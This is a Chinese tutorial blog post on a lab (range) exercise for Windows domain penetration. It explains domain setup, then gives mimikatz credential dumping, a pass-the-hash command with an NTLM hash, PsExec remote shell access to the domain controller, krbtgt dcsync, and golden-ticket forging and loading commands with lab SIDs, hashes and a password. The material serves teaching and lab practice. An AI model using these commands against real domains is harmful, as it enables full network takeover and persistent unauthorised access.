前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql注入到获得域控-下

sql注入到获得域控-下

作者头像
kam1
发布2022-03-08 13:57:05
1K0
发布2022-03-08 13:57:05
举报

一、什么是域

域其实就是由一些计算机组成的,一台电脑可以是一个域,多台电脑也可以是一个域。

在域中的机器并不对等,主要分为控制机和客户机,控制机的权限很大,可以操控域中的任意机器,被称为:域控制器,速成域控(DC)。拿下域控,就相当于拿下了一个域中的所有机器。 域又被分为单域、父域、子域、域树、域森林等概念。

内网中的机器: 1.在域中,分为高权限(域控)、低权限(域成员) 2.域控的密码和用户能够登陆所有加入域的机器。 3.不在域中:互相有联系,但是是平级。

二、域环境配置

0x01. 域控的安装

打开Windows server 2008的服务管理器选择添加角色,选择域服务,然后下一步,安装。 这里只有域控才会安装这个,其他客户机是不需要安装这个的。

选择域服务安装向导

现有林:顾名思义,已经有的林。 这里选择在新林中新建域,域名随便写都可以。

注意:这里的林功能级别是向下兼容,而不向上兼容的。 如果选择2008 R2 那么低版本如2003的 就可能不会兼容,但是选择2003,那么2003以上版本的都能加入。低版本的配置高版本能兼容,高版本的配置低版本不一定兼容。

注意:一般来说,这里IP分配是选择静态的,因为这里是靶机模拟,所以可以直接用DHCP自动分配地址即可。

这里的密码很重要,记得设置一个容易记的高难度密码。接下来下一步下一步。

安装完成之后直接重启即可。

0x02. 域成员加入

域控安装好了之后,就是域成员的加入了,首先域控和域成员要在同一个网段,可以互相通信才可以加入域。

这里的另外一台虚拟机是还没有加入域的,那么如何加入域呢?

以上是我这里域控的ip,所以这里DNS我填写192.168.101.7即可,下面备选可以写8.8.4.4(谷歌DNS) 当创建域控的时候,一般会自动创建一个DNS,必须把域成员的DNS设置为域控机器上的ip,才能加入这个域。 这时候设置一下DNS,打开网络和共享中心。打开本地连接属性,配置IPv4的DNS为域控地址。

点击开始菜单-计算机-右键-属性

点击更改设置,新窗口中点击更改,点击域,输入域名,单纯输入域名是添加不了的,必须要在配置了DNS之后才能加入

加入域,必须要输入域控主机的账号和密码。而不是域成员的账号密码。 加入之后需要重启,重启之后,输入systeminfo查看一下是否成功加入了域。

当出现这个成员服务器的时候,就证明成功的加入了域。 那么尝试一下mstsc远程连接一下域成员。

这里选择使用其他用户 baidu\administrator (baidu.com\administrator也可以)意思是baidu域控的administrator登录,密码域控的管理账号密码。 域控权限很高,任何成员机器都可以登录,只需要 域名\域控的管理账号+密码即可

0x03. Windows认证协议-Kerberos

在域中一台电脑要登录另一台电脑的用户,需要一个通行证,这个通行证就叫做票据。

三. 域渗透靶场

0x01. 如何获取域控机地址

因为之前拿到了用户名和密码:administrator + woshifengge1.

这台主机是独立服务器不在域中,通过ipconfig看到这台主机是10.0.1.4 那么可以直接使用远程连接连接之前拿下的10.0.1.8机器看一下是否在域中。

输入systeminfo可以看到,10.0.1.8是在域成员.

代码语言:javascript
复制
如何找到域控的地址呢?
	1.查看主机DNS
	2.ping dc.zkaq.cn  ping域名
	3.net view /domain
	4.netdom query pdc 

这里用之前设置DNS的方法,查看一下10.0.1.8的DNS

看到DNS是10.0.1.6,ping一下主机是否存活.

0x02. 通过域成员获取域控密码

主机存活,那么接下来尝试用mimikatz抓取域控密码

还是提升到debug调试权限,创建log日志文件,抓取密码,在log中可以看到抓取到的内容

发现之前抓取的密码是明文的,但是这次抓取之后是加密之后的密码。这是因为windows在高版本或是打补丁(KB2871997)之后是密文传输的。

可以看到域名是zkaq以及域控管理员的账号密码。

因为要拿下域控,那么就要涉及到认证,计算机中的认证,不是根据原始密码认证,而是根据密文(原始密码加密之后)认证的。那么连接域控的时候不是用密码认证,用密文来认证,这就叫做哈希传递(pth:pass-the-hash) windows通过NTLM进行认证,那么可以利用传输NTLM来绕过密码,NTLM是密文。 简称哈希传递.

0x03. 哈希传递获得域控权限

代码语言:javascript
复制
知道了域控地址,就可以进行哈希传递密文的构建了。
使用mimikatz输入 sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:61465a991b168727b65b3644aab823cd
这里分别写了域控的用户名、域名、NTLM加密值。
运行之后弹出一个cmd命令框。
这就是有了域控机器的登录权限,如何验证有权限呢?
可以用SMB服务请求一下:dir \\dc.zkaq.cn\c$  		
为什么这里写dc.zkaq.cn 这条语句的意思是 zkaq.cn域的域控 dc就是域控的意思。 这个是访问一下域控机器里面的c盘目录

这时候是只有登录权限,并不能控制域控机器.

0x04. 获取域控机cmd窗口并创建用户

这时候可以用到微软推出的一款小工具:PsExec.exe,将这款工具复制到10.0.1.8主机上然后用有登录权限的cmd窗口调用。

执行命令 PsExec.exe \dc.zkaq.cn cmd 调用域控的cmd 执行之后,输入systeminfo就会发现,这里就变成了域控的cmd了。

既然有了域控的cmd,那么就可以进行创建用户等一系列操作了。

创建用户之后,使用远程连接直接连接域控我们所创建的用户。

0x05. 权限维持(通过伪造黄金票据)

代码语言:javascript
复制
成功进入域控,这样的操作是会被系统管理员所发现的,那么如何维持权限呢。
这时候又需要提到:域渗透中的票据。
票据有黄金票据和白银票据,其中黄金票据权限最大。
在域控上输入 net user 可以看到有一个krbtgt账户,这是域控的账户,一般来说不会去对这个账户做出改变。
代码语言:javascript
复制
krbtgt账户其实就是KDC秘钥分发中心用的超管密码,我们拿着那个票据,去访问域里面的客户机,客户机会认为我们是KDC秘钥分发中心	所以直接给了最高权限允许访问。
		
黄金票据就是将krbtgt的密码摸了出来,做成了一个通行证,这样就可以访问内网所有机器了。

如何伪造黄金票据呢?
首先复制mimikatz到域控机中,然后使用log生成日志,privilege::debug提升到最高调试权限
lsadump::dcsync /user:krbtgt	获取krbtgt的密码(mimikatz会模拟域控,向目标域控请求账号密码信息)

这样就抓到了信息,提取里面的sid和hashNTLM。(这里的SID是不包括后面的502的)

然后制作票据:

kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi 放入mimikatz(猕猴桃)中去执行,执行之后会生成一个administrator文件。

以上图片有个地方写错了,就是最后ticket:,这里重新写成正确的administrator.kiribi即可。 然后可以把连接域控机的远程桌面关闭,使用票据连接。 首先用10.0.1.8测试是否还在连接域控主机。 输入dir \dc.zkaq.cn\c$

可以看到连接失败,这时候启动猕猴桃,提升权限之后加载票据。 使用: kerberos::ptt administrator.kiribi

这样就可以长期维持权限,成为"域霸"了。

总结

1.远程连接服务器,登录之前拿下的域成员10.0.1.8 2.使用猕猴桃mimikatz.exe在域成员主机抓取域控机的密码 3.使用net view /domain 或者查看DNS 4.构建哈希传递:sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:61465a991b168727b65b3644aab823cd ntlm就是抓取到的域控机密码。 5.获取域控机cmd窗口创建用户提权:PsExec.exe \\dc.zkaq.cn cmd 6.远程连接域控机,使用猕猴桃伪造黄金票据(抓取krbtgt账户密码):lsadump::dcsync /user:krbtgt 7.将抓取出来的数据 提取里面的sid(去掉末尾502)和hashNTLM 8.制作票据,制作票据: `kerberos::golden /admin:administrator /domain:域名 /sid:抓取到的sid /krbtgt:抓取到的hashNTLM /ticket:administrator.kiribi`,放入mimikatz(猕猴桃)中去执行放入mimikatz(猕猴桃)中去执行 9.关闭连接,在域成员中使用猕猴桃加载票据kerberos::ptt administrator.kiribi 10.成为域霸。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-07-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、什么是域
  • 二、域环境配置
    • 0x01. 域控的安装
      • 0x02. 域成员加入
        • 0x03. Windows认证协议-Kerberos
        • 三. 域渗透靶场
          • 0x01. 如何获取域控机地址
            • 0x02. 通过域成员获取域控密码
              • 0x03. 哈希传递获得域控权限
                • 0x04. 获取域控机cmd窗口并创建用户
                  • 0x05. 权限维持(通过伪造黄金票据)
                  • 总结
                  相关产品与服务
                  命令行工具
                  腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档